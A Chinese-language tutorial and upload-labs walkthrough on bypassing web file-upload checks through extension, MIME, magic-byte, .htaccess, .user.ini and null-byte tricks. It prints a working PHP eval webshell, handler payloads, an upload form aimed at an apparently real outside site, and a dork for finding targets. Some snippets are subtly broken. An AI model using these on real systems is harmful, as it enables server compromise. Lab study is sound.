一、文件上传常见验证:
客户端验证:客户端校验
一般都是在网页上写一段 JavaScript 脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框, 内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

服务端验证:
直接验证方法:直接查看文件名后缀。 间接验证方法:通过文件头和类型来进行识别。
后缀名:黑名单、白名单
**黑名单:**明确不允许上传的文件格式后缀 常见脚本格式:ASP、PHP、JSP、ASPX、cgi、war ...... 可能绕过方式(与网站搭建平台和设置格式有关):php5 、phtml .......
对于黑名单的检测方式,我们有如下几种办法绕过:
1. 后缀名大小写混用(只能在Linux系统环境下进行解析)
假如.php后缀,我们可以写成.PHp之类的形式,用于一些过滤不严谨的系统。
2. 特殊后缀绕过(利用难度较高)
将Burpsuite截获的数据包中xxxx.php名字改为xxxx.php4(php1,php2,php3,php4,php5),
前提条件是http.conf中设置 AddType application/x-httpd-php .php1(php的版本小于等于5.3.29以下)
3. 配合操作系统文件命名规则绕过:
在windows系统下,如果文件名以“.”或者空格作为结尾,系统会自动删除“.”与空格,利用此特性也可以绕过黑名单验证。
apache中可以利用点结尾和空格绕过,asp和aspx中可以用空格绕过。
4. 双写后缀
在一些系统中,仅仅匹配非法后缀删除,这个时候我们构造.pphphp,当它将第一个php匹配删除之后,剩下的字符又重新组合成了.php。
能被WEB容器解析的文件其他扩展名列表:
jsp, jspx ,jspf
asp asa cer cdx,htr,xml,html
aspx,ashx,asmx,asax,ascx
**白名单:**明确可以上传的文件格式: JPG、PNG、zip、rar、gif ....... 相对于黑名单要安全一些。
白名单绕过方法:
一、%00 截断上传绕过:
通过抓包截断将XXXX.asp.jpg后面的一个.换成%00在上传的时候即XXXX.asp%00.jpg,
当文件系统读到%00时,会认为文件已经结束,从而将XXXX.asp.jpg的内容写入到XXXX.asp中,从而达到攻击的目的。
%00不是针对所有基于白名单的后缀名检查都能绕过,代码的实现过程中必须存在截断上传漏洞,上传格式如下:
XXXX.asp %00.jpg
路径/updata/XXXX.asp(0x00).jpg
二、 突破文件路径绕过:(待验证 !!!)
在文件上传时,程序通常允许用户将文件放到指定的目录中,如果指定的目录存在,就将文件写入目录中,不存在的话则先建立目录,然后写入。
比如:在前端的HTML代码中,有一个隐藏标签<input type="hidden" name="Extension" value="up"/> 在服务器端有如下代码 if(!is_dir($Extension)){ //如果文件夹不存在,就建立文件夹
mkdir($Extension);
}
攻击者可以利用工具将表单中value的值由“up”改为“pentest.asp”,并上传一句话图片木马文件。
程序在接收到文件后,对目录判断,如果服务器不存在pentest.asp目录,将会建立此目录,然后再将图片一句话密码文件写入pentest.asp目录,如果Web容器为IIS 6.0,那么网页木马会被解析。
二、.htaccess 文件重写绕过:
配合黑名单列表绕过,上传一个自定义的.htaccess和一句话图片木马,就可以轻松绕过各种检测,该文件仅在Apache平台上存在,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。
.htaccess 文件的写法:
<FilesMatch "backlion.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有” backlion.jpg”字符串的任意文件,统一被当作php执行。如果这个” backlion.jpg”的内容是一句话木马,即可利用中国菜刀进行连接
前提条件是:大于等于php版本5.3.39以下
三、配合web容器的解析漏洞:
IIS中的目录解析漏洞和分号解析漏洞: 将一句话木马的文件名backlion.php,改成backlion.php.abc(奇怪的不被解析的后缀名都 行)。
首先,服务器验证文件扩展名的时候,验证的是.abc,只要该扩展名符合服务器端黑白名单规则,即可上传。
nginx空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行
apache的解析漏洞,上传如a.php.rar a.php.gif 类型的文件名,可以避免对于php文件的过滤机制,但是由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是apache不能识别的,因此就会直接将类型识别为php,从而达到了注入php代码的目的
目录位置修改绕过的几种形式:
第一种:
upload/1.asp%00.jpg #asp中的修改目录位置%00的拦截
bk.jpg #post提交一句话图片马或者其他白名单为一句话木马
------->upload/1.asp%00.jpg/bk.jpg #最终生成的文件访问路径
第二种:
upload/bk.asp; # windows2003 iis6.0中目录路径后添加一个bk.asp;的目录
bk.jpg #post上传的文件类型将bk.jpg一句话图片马
----->upload/bk.asp;14127900008.asp ##最终的URL访问路径
这里以动网6.0为例,先上传一个正常的图片,会生成如:files/201210010321944973.jpg文件。
第一种突破方法:先上传一句话图片马如1.jpg,然后拦截将其 FilePath 值改为“files/backlion.asp□
最终生成:“files/backlion.asp□/201210010321944973.jpg,实际就是files/backlion.asp
第二种突破:先上传一句话图片马如1.jpg,然后拦截将其 FilePath 值改为“backlion.asp;最终生成:“backlion.asp;201210010321944973.jpg
文件类型:MIME信息
使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类,它是服务器用来判断浏览器传递文件格式的重要标记项。
上传文件的时候呢,会自带一个文件上传格式信息。
可以通过抓包来进行修改上传。
此类后端检查时,检查的是Content-Type,也叫Mime-Type,这个时候,我们上传一个PHP文件,通过BurpSuite抓包,将.php后缀的Content-Type: application/octet-stream更改为.jpg的Content-Type: image/jpeg。
然后发包,就可以绕过后端基于Content-Type的检测。
将“Content-Type”的参数类型更改为“image/ *”即可,例如“image/png”, “image/jpeg”, “image/gif”
需要配合文件包含漏洞绕过。
常见文件类型:
超文本标记语言文本 .html text/html
xml文档 .xml text/xml
XHTML文档 .xhtml application/xhtml+xml
普通文本 .txt text/plain RTF文本 .rtf application/rtf
PDF文档 .pdf application/pdf Microsoft
Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
au声音文件 .au audio/basic
MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
text/plain(纯文本)
text/html(HTML文档)
text/javascript(js代码)
application/xhtml+xml(XHTML文档)
image/gif(GIF图像)
image/jpeg(JPEG图像)
image/png(PNG图像)
video/mpeg(MPEG动画)
application/octet-stream(二进制数据)
application/pdf(PDF文档)
application/(编程语言) 该种语言的代码
application/msword(Microsoft Word文件)
message/rfc822(RFC 822形式)
multipart/alternative(HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示)
application/x-www-form-urlencoded(POST方法提交的表单)
multipart/form-data(POST提交时伴随文件上传的表单)
绕过方式:
一、运行上传文件包含脚本木马和一句话木马内容:(这里讲解一下一句话木马)
前提:校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。
1. 先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;
2. 然后再上传一个.php的文件,内容为<?php Include(“上传的txt文件路径”);?>
此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:
PHP
<?php Include("上传的txt文件路径");?>
ASP
<!--#include file="上传的txt文件路径" -->
JSP
<jsp:inclde page="上传的txt文件路径"/>
or
<%@include file="上传的txt文件路径"%>
二、存在本地文件包含漏洞,并可上传一句话内容马:(网上搜集的待验证!!!)
1. 上传一个符合条件格式的文档,文档内容为一句话木马,
eg:test.txt
2. 利用文件包含漏洞包含上传的木马文件,
eg:page?id=D:/www/test.txt
三、修改URL的参数绕过:(需要进行验证!!!)
谷歌关键字:inurl:newslist.asp?NodeCode=
将/uploadfile.asp?uppath=PicPath&upname=&uptext=form1.PicPath中的参数uptext的值改为form1.PicPath.asp即可绕过。
可以看出对参数 PicPath 进行了修改,这种漏洞主要是存在文件名或者路径过滤不严,在实战中多多观察 url 中的参数,可以尝试进行修改数据。
四、双重文件上传绕过:(需要进行验证!!!)
通过保存以下代码为1.html修改上传:
<form action="http://edu2b.sinaapp.com/Upfile_AdPic.asp" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传">
</form>
//在第一个框内选择一个 jpg 图片,文件名为“yueyan.jpg”,在第
二个框内选择一个 cer 文件,文件名为“yueyan.cer”,点“上传”把这两个文件提交给程序即可。
文件头:内容头信息
图片格式往往不是根据文件后缀名去做判断的。文件头是文件开头的一段二进制,不同的图片类型,文件头是不同的。文件头又称文件幻数。
不同类型的文件,文件头信息不相同。
可以通过抓包来进行修改上传。
这个时候他会检测文件的16进制数据头是否是合法文件的数据头,这个时候我们找一个普通的图片文件,再写一个一句话木马文件:
隐写术可以看这篇文章图片隐写术总结
然后通过前面隐写术的方法,进入两个文件的路径,在cmd中输入:copy/b 1.jpg+1.php 2.jpg就可以制作图片马,但是需要配合解析漏洞 或者在线工具 在线图片添加/解密隐藏信息(隐写术)工具
常见文件幻数
PNG:文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A
JPEG:文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识)
GIF:文件头标识 (6 bytes) 47 49 46 38 39(37) 61

| 格式 | 文件头 |
|---|---|
| TIFF (tif) | 49492A00 |
| Windows Bitmap (bmp) | 424D |
| CAD (dwg) | 41433130 |
| Adobe Photoshop (psd) | 38425053 |
| Rich Text Format (rtf) | 7B5C727466 |
| MS Word/Excel (xls.or.doc) | D0CF11E0 |
| MS Access (mdb) | 5374616E64617264204A |
| ZIP Archive (zip), | 504B0304 |
| RAR Archive (rar), | 52617221 |
| Wave (wav), | 57415645 |
| AVI (avi), | 41564920 |
| Real Media (rm), | 2E524D46 |
| MPEG (mpg), | 000001BA |
| MPEG (mpg), | 000001B3 |
| Quicktime (mov), | 6D6F6F76 |
| Adobe Acrobat (pdf), | 255044462D312E |
| Windows Media (asf), | 3026B2758E66CF11 |
| MIDI (mid), | 4D546864 |
二、简要上传表单代码分析解释:
upload 靶场第二题源码分析
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
这是一个HTML代码。 enctype 是提交类型。 method 是请求方法。 onesubmit 是鼠标触发时间,当你点击之后会返回后面的那个函数。 name 第一个是name 是参数名字、第二个是鼠标触发名字。
<? php?
$name = $_FILES['upload_file']['name'];
echo $name;
>
// HTML
<form enctype="multipart/form-data" method="post" action="">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
$_FILES : 这是PHP里面的一个全局变量,专门是接收文件上传的操作数据。 $_FILES 详解。 HTML 中表单中接收到的数据就会以 name 值发送到 $_FILES['upload_file'] 变量中。['name'] 代表接收到的文件名。 echo $name :输出这个文件名。 action="" :表示提交会给当前这个文件。
<? php?
//输出文件名称
echo $_FILES['upload_file']['name'];
//输出文件类型
echo $_FILES['upload_file']['type'];
//输出文件大小(字节)
echo $_FILES['upload_file']['size'];
>
三、演示案例:
在举例之前的呢,我们要做一些前期准备。
前期准备:
安装一下集成环境:这里推荐使用 PHPstudy 2018
、(PHPstudy 2018 可以在我的微信公众号获取)安装好环境之后我们来编写一个一句话木马(如何编写我们之后详细讲解) 写好之后呢,我们进行本地利用。
接下来我来完整的给大家演示一遍 掏出我们之前准备好的一句话木马,放在 phpStudy\PHPTutorial\WWW
目录下
<?php @eval($_POST[x]); ?>
本地访问: 127.0.0.1/shell.php(我们刚才创建的木马文件名称)打开 HackBar(浏览器插件)
:尝试利用这个一句话木马来返回PHPinfo
的信息构建返回 PHPinfo
的语句:X=phpinfo();
这也是一个任意代码执行,我们通过变量X
传递的任何指令都会被当做PHP
代码来执行。也可以通过这条指令来调用调用系统函数:X=system(whomai); 、x=system(whomai);



准备好上传的 shell.php文件(一句话木马)
<?php @eval($_POST[x]); ?>
<?php @eval('phpinfo();'); ?>
$_POST[x]
: 获取POST
请求参数中X的值。例如POST
请求中传递x=phpinfo();
,那么$_POST[x]
就等同于phpinfo();eval()
将字符串当做PHP代码去执行。例如eval('phpinfo();')
,其中phpinfo();
会被当做PHP代码去执行。
<?php @eval($_POST[x]); ?> 实际上的传递过程是这样的
↓
↓
↓
<?php @eval('phpinfo();'); ?> 实际的语句是这样的
我们通过该 webshell
,传递任意PHP代码
,让其去执行,从而达到任意代码执行
。错误控制运算符,当将 @
放置在一个PHP表达式之前,该表达式可能产生的任何错误信息都被忽略
掉。
第一关:前端JS验证
第一关是一个针对于前端的验证,也就是使用JavaScript进行验证。
先写一个php文件,你可以写一个一句话木马,也可以写一个phpinfo,因为phpinfo看起来更加直接一点。我这里文件内容就写一个phpinfo()吧。
进入正题,选择我们要上传的php文件,我这里就以关卡来命名,点击上传,出现提示,这明显的是一个js的alert提示框。我们就来尝试进行绕过。
我们先上传一个文件上去看看效果,上传失败,说不允许上传PHP文件

根据提示:本pass在客户端使用js对不合法图片进行检查! 可以得出是前端JS验证。 绕过方法:禁用JS脚本。 上传成功。


绕过原理:
就是对上传文件进行一个JavaScript脚本的验证。屏蔽掉就行了。
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
// 获取文件名
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
//通过lastIndexOf取到“.”的索引,再使用substring函数截取 .后缀名
if (allow_ext.indexOf(ext_name + "|") == -1) {
//如果 allow_ext 中没有 ext_name字符串,则返回-1
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
//判断上传文件类型是否允许上传
}
第二关:服务端MIME验证
根据提示:本pass在服务端对数据包的MIME进行检查! 绕过方法:我们来抓个包来看看,修改一下 Content-Type
字段。Content-Type: image/png


绕过原理:
<?php
include '../config.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
// 当点击鼠标上传的时候,进行验证
if (isset($_POST['submit'])) {
// UPLOAD_PATH 声明在配置文件上的文件上传路径,来判断路径是否存在。
if (file_exists(UPLOAD_PATH)) {
// 进行上传文件类型判断, || 或的意思
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
// move_uploaded_file 移动文件函数,将前者移动到后者哪里
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
?>
<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
//文件包含漏洞页面
define("INC_VUL_PATH",APP_URL_ROOT . "/include.php");
//设置上传目录
define("UPLOAD_PATH", "../upload");
?>
第三关:黑名单绕过
根据提示:本pass禁止上传.asp|.aspx|.php|.jsp后缀文件! 比较容易想的绕过方法: 大小写绕过 用其他可被解析的后缀名来代替 : .phtml .phps .php5 .pht 大小写绕过失败!

尝试用其他后缀名试试:.php5


绕过原理:
黑名单验证,只要避免啊上传这种后缀就可以正常的进行文件上传。 trim 函数详解 strrchr 函数详解
<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
// 声明了变量 deny_ext(拒绝_后缀名)
$deny_ext = array('.asp','.aspx','.php','.jsp');
// trim 过滤为空的函数,替换空格。自动去除空格
$file_name = trim($_FILES['upload_file']['name']);
//trim去除字符创两侧的的特殊字符
$file_name = deldot($file_name);//删除文件名末尾的点,xiasohuang.jpg.php 防止上传验证为jpg格式实际上是php代码。
$file_ext = strrchr($file_name, '.');
// strrchr 分隔字符,就是删除掉.前面的文件名称,这样就得到了文件的真实后缀了。
//取出后缀名 如:.txt
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA,将目标中的::$DATA替换为空。
$file_ext = trim($file_ext); //收尾去空
// 判断接收到的文件中,有没有黑名单里面的后缀,就继续进行文件上传,如果存在就不允许上传这个格式。
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
//获取当前时间 再连接上一个随机数和后缀名,生成一个新的文件名与上传路径拼接
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
网上搜了一下,原来需要对apache配置文件做修改,在phpstudy中点击“其他选项菜单”打开Apache配置文件 httpd-conf
。

第四关:.htaccess绕过
根据提示:

绕过方法: 首先通过抓包来上传一个.htaccess(害可C死),只上传.htaccess,不要文件名(因为.htaccess是一个配置文件) 然后上传一个shana.jpg格式文件,为什么是(shana因为这个文件是自己定义的)



绕过原理:
这是解析漏洞 只有apache才有。 .htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。 提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride(e捞我V乳癌的)指令来设置。 这个漏洞的原理就是服务器没有过滤htaccess文件的上传,而htaccess文件上传后,当前目录就会按照这个配置文件里面的内容执行。
<FilesMatch "自定义">
Sethandler application/x-httpd-php
</Eilesmatch >
然后上传“自定义.可以上传的后缀” 都会按照“自定义.php”来执行 前提:只试用于Apache 平台的伪静态转换,是Apache文件一个配置文件。 .htaccess 代码 ,保存到文件,文件类型 .htaccess 参考链接
<FilesMatch "shana">
SetHandler application/x-httpd-php
</FilesMatch>
// FilesMatch 文件匹配 ,如果匹配到文件中存在 "shana" 就会将文件以解析 application/x-httpd-php 类型进行解析。
首先将这个文件( .htaccess),进行上传,上传之后,再次解析文件的话就会以这个(刚才上传的配置文件为主) 然后将文件名中含有 "shana" 字段的图片进行上传,就会将文件以 php 代码进行解析了。(也可以在最后添加 phpinfo 进行回显) 就可以进行访问了。
第五关:.user.ini 绕过
user.ini文件构成的PHP后门 根据提示:上传目录存在php文件(readme.php)

绕过方法: 复写后缀名绕过 先上传 .user.ini
文件,然后再上传一个5.jpg文件,实现绕过。
.user.ini文件内容:
auto_prepend_file=5.jpg
绕过方式一:

绕过方式二:


绕过原理:
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。 此类文件仅被 CGI/FastCGI SAPI 处理。 此功能使得 PECL 的 htscanner 扩展作废。 如果使用 Apache,则用 .htaccess 文件有同样效果。 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。 如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。 两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。 user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。 user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。 但是想要引发 .user.ini 解析漏洞需要三个前提条件: 服务器脚本语言为PHP 服务器使用CGI/FastCGI模式 上传目录下要有可执行的php文件 先来创建一个 .user.ini 文件并写入一下内容:auto_prepend_file=x.png 上传 .user.ini 后,再上传一个 x.png 文件,此时 x.png 文件只要有符合 php 语言的代码就会执行。
第六关:大小写绕过
根据提示:

绕过方法: 通过抓取上传数据包,修改上传的文件后缀,实现上传。
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
// 通过源代码我们可以发现,黑名单里虽然过滤的很全面,但是在下面的后缀名处理之中却出现了纰漏,没有将后缀名转换为小写。只是将文件名转化为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>

绕过原理:
$file_ext = strtolower($file_ext); //转换为小写
// 通过源代码我们可以发现,黑名单里虽然过滤的很全面,但是在下面的后缀名处理之中却出现了纰漏,缺少将后缀名转换为小写。只是将文件名转化为小写
原理:借助了系统的特性。 Windows 会强制将后面的空格平掉。但是在数据包上空格是不会去掉的。这样就可以跳过黑名单绕过。 上传到系统之后,系统又会强制给平掉,来实现绕过。 所以在网站没有收尾去空的话 而且又是windows系统 就可以采用'1.php '这种方式来绕过 或者多加一些空格 1.php.这样也是一样的原理。 上传1.php(或者图片马),抓包改为1.php:1.jpg 也是一样的原理。
<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
第七关:空格绕过
根据提示:

绕过方法: 通过抓取上传数据包,修改上传的文件后缀,实现上传。

绕过原理:
在windows系统下,如果文件名以“.”或者空格作为结尾,系统会自动删除“.”与空格,利用此特性也可以绕过黑名单验证。apache中可以利用点结尾和空格绕过,asp和aspx中可以用空格绕过。
第八关:点绕过
根据提示:本pass禁止上传所有可以解析的后缀!

绕过方法: 通过抓取上传数据包,修改上传的文件后缀,实现上传。

绕过原理:
在windows系统下,如果文件名以“.”或者空格作为结尾,系统会自动删除“.”与空格,利用此特性也可以绕过黑名单验证。apache中可以利用点结尾和空格绕过,asp和aspx中可以用空格绕过。
第九关:::$DATA绕过
根据提示:

绕过方法: 通过抓取上传数据包,修改上传的文件后缀,实现上传。

绕过原理:
这也是利用的windows的命名特性 在window的时候如果文件名+ "::$DATA"
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA
之前的文件名,他的目的就是不检查后缀名例如: "phpinfo.php::$DATA"
Windows会自动去掉末尾的::$DATA
变成"phpinfo.php"
第十关:点+空格+点绕过
根据提示:本pass只允许上传.jpg|.png|.gif后缀的文件!

绕过方法: 通过抓取上传数据包,修改上传的文件后缀,实现上传。

绕过原理:
在windows系统下,如果文件名以“.”或者空格作为结尾,系统会自动删除“.”与空格,利用此特性也可以绕过黑名单验证。apache中可以利用点结尾和空格绕过,asp和aspx中可以用空格绕过。 经过脚本一系列的处理之后原本.php. .的后缀名变成了.php. ,而由于Windows的特性,又将文件末尾的点给去除了,最终就存的时候.php的文件。同理也可以上传.htaccess. .等文件。。。(就算没有经过脚本的处理,.php. .在windows中也是会被存储为.php)
第十一关:双写绕过
根据提示:

绕过方法: 假设:将代码中的字符串里面PHP替换为空, a.php ---> a. 如果是一次过滤:a.pphphp ----> a.php 如果是循环过滤(也就是递归过滤,更加安全)a.pphphp ----> a. 那么我们就可以上传数据包中修改数据来通过:xxxxx.php. . 来进行绕过。

第十二关:00截断
根据提示:本pass上传路径可控!

绕过方法: 当是POST接收情况的时候,正确的用法应该是我们需要对 %00 做一个URL编码,也就是URL-decode; 如果通过POST方法进行传输,与GET方法不同,POST方法不会对%00进行解码,我们需要选中%00,通过ctrl+shift+u快捷键进行转换才行。 直接写%00也没问题。


第十三关:00截断
根据提示:本pass上传路径可控!

绕过方法: 通过抓取数据包可以看到,文件路径的参数是以post方式提交的,我们在参数后面加个点。 点击 hex
,打开16进制编辑器。找到点那个位置,将它修改为00
,因为不是在url中的参数,所以不能用%00
,会无法解析



绕过原理:
这时候就要利用0x00截断原理了,具体原理是 系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。 但要注意是文件的16进制内容里的00,而不是文件名中的00 !!!就是说系统是按16进制读取文件(或者说二进制), 遇到ascii码为零的位置就停止,而这个ascii码为零的位置在16进制中是00,用0x开头表示16进制,也就是所说的0x00截断 当系统读取到0x00时,认为已经结束,不会再读取后面将要拼接的13.jpg,认为是php文件,完成绕过。
%00截断 与 0x00截断的区别?
地址上面文件命名的区别。 %00上是建立在地址信息上的 0x00 文件 操作方法基本一致。
%00截断 与 0x00截断的实战中的区别?
平时一定要多观察一下数据包,数据包中包含了很多参数,很多参数可以进行修改。
<?php
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
? save_path = ../upload/1.php%00
==> ? save_path = ../upload/1.php%00/(%00相当于是截断)/1313131.jpg 后面这些东西相当于没有了 1313131.jpg
==> $img_path = $_GET['../upload/1.php%00 ']
==> 最终结果:../upload/1.php
==> php版本:5.3版本以下
?>
00截断总结:
形成条件 php版本小于5.3.29 magic_quotes_gpc = Off 原理是原理是数据包中存在 path: uploads/,那么攻击者可以通过修改path的值来构造paylod: uploads/aa.php%00 00截断有两种,一种是%00截断 使用在url那种地址上的 还有一种0x00截断使用在文件名命名上的 www.xxx.com/qq.php.jpg => www.xxx.com/qq.php %00截断 GET 用法: 当是GET接收情况的时候,直接用 %00 就可以了

某些情况下,直接在文件名中加 %00 进行截断这是不对的,因为 %00 会以字符串的形式解析了。如果没有做后缀名判断的情况下,那样会变成: www.xxx.com/qq.php.jpg => www.xxx.com/qq.php.jpg 如果做了后缀名判断的情况下,那样是会直接报错,不让你上传,因为你的后缀是 .jpg,不是 .php; 有很多朋友喜欢在文件名中加 %00
进行截断,笔者认为这种方式是不对的,为什么呢?比如攻击者构造文件名:admintony.php%00a.jpg
,在提取后缀名的时候遇到%00
则认为字符串结束了,那么他提取到的后缀名会是.php
,.php
后缀又不允许上传所以上传失败了(这里有必要提一句,有人可能会说在一些情况下,%00截断文件名可以成功,这种案例你试一下是不是任意文件上传,西普的00截断实验就是一个任意文件上传的上传点,既然是任意文件上传又何必用00截断绕过呢?)%00截断 POST 用法 当是POST接收情况的时候,正确的用法应该是我们需要对 %00 做一个URL编码,也就是URL-decode; 如果通过POST方法进行传输,与GET方法不同,POST方法不会对%00进行解码,我们需要选中%00,通过ctrl+shift+u快捷键进行转换才行。

而且这样重发后是在包里面看不到%00的,但是用光标的话会有个位置 那么为什么网上也有直接添加 %00
而不进行urldecode操作呢?因为path也可以存放在URL或者Cookie中,而在提交数据的时候,浏览器会对数据做一次url decode的操作,而到服务端,会对数据进行一次url decode的操作,因此如果path在 非enctype=multipart/form-data
的表单中或URL or Cookie中的时候,就可以直接写%00
不需要进行URL decode操作,让服务端对%00
进行URL解码即可。
注意:
